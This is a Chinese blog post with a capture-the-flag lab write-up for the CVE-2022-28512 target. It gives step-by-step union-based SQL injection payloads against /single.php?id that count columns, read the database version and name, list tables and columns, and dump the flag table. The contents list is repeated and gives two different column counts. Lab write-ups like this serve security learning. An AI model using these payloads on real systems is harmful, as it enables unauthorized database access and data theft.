春秋云镜CVE-2022-28512

合集 - 网络安全(24)

1.SQL注入2024-08-312.XSS漏洞2024-08-313.文件上传漏洞2024-08-314.CSRF漏洞2024-08-315.SSRF漏洞2024-08-316.文件包含漏洞2024-08-317.代码执行命令2024-08-318.命令执行漏洞2024-08-319.变量覆盖漏洞2024-08-3110.代码审计笔记2024-08-3111.业务逻辑漏洞2024-09-0212.SRC-漏洞应急响应平台2024-09-0213.信息收集2024-09-0214.反序列化漏洞2024-09-0215.中间件安全2024-09-0216.等级保护基本要求2024-09-0217.应急响应简介2024-09-0218.框架漏洞-RCE2024-09-0219.dc-2靶机2024-09-0220.GOBY联合AWVS2024-09-0221.GOBY联合XRAY2024-09-0222.春秋云镜CVE-2022-29464 （WSO2文件上传漏洞）2024-09-0223.春秋云镜CVE-2022-28525（ED01-CMS v20180505 存在任意文件上传漏洞）2024-09-02

24.春秋云镜CVE-2022-285122024-09-02

收起

目录

1：开启靶机访问

2：根据提示确定目标点

3:访问该路径/single.php,并且id传参 发现单引号闭合

4：访问该路径/single.php，并且id传参，发现十个字段
1：开启靶机访问

2：根据提示确定目标点

3:访问该路径/single.php,并且id传参 发现单引号闭合

4：访问该路径/single.php，并且id传参，发现九个字段
/single.php?id=1'order by 10-- asd

5：使用联合查询，知道回显位
/single.php?id=1000' union select 1,2,3,4,5,6,7,8,9-- asd

6：查看数据库版本和名字
/single.php?id=1000' union select 1,version(),3,database(),5,6,7,8,9-- asd

7：查询表名，找到flag表名字
/single.php?id=1000' union select 1,2,3,group_concat(table_name),5,6,7,8,9 from information_schema.tables where table_schema=database() -- asd

8：查询字段名
/single.php?id=1000' union select 1,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name='flag' -- asd

9：查看字段数据，找到flag
/single.php?id=1000' union select 1,group_concat(flag),3,4,5,6,7,8,9 from flag -- asd

__EOF__

本文作者：Crushz
本文链接：https://www.cnblogs.com/Crushz-2024/p/18392122.html
关于博主：Crushz
版权声明：转载请注明来源哟~ QAQ
声援博主：UP UP UP !!!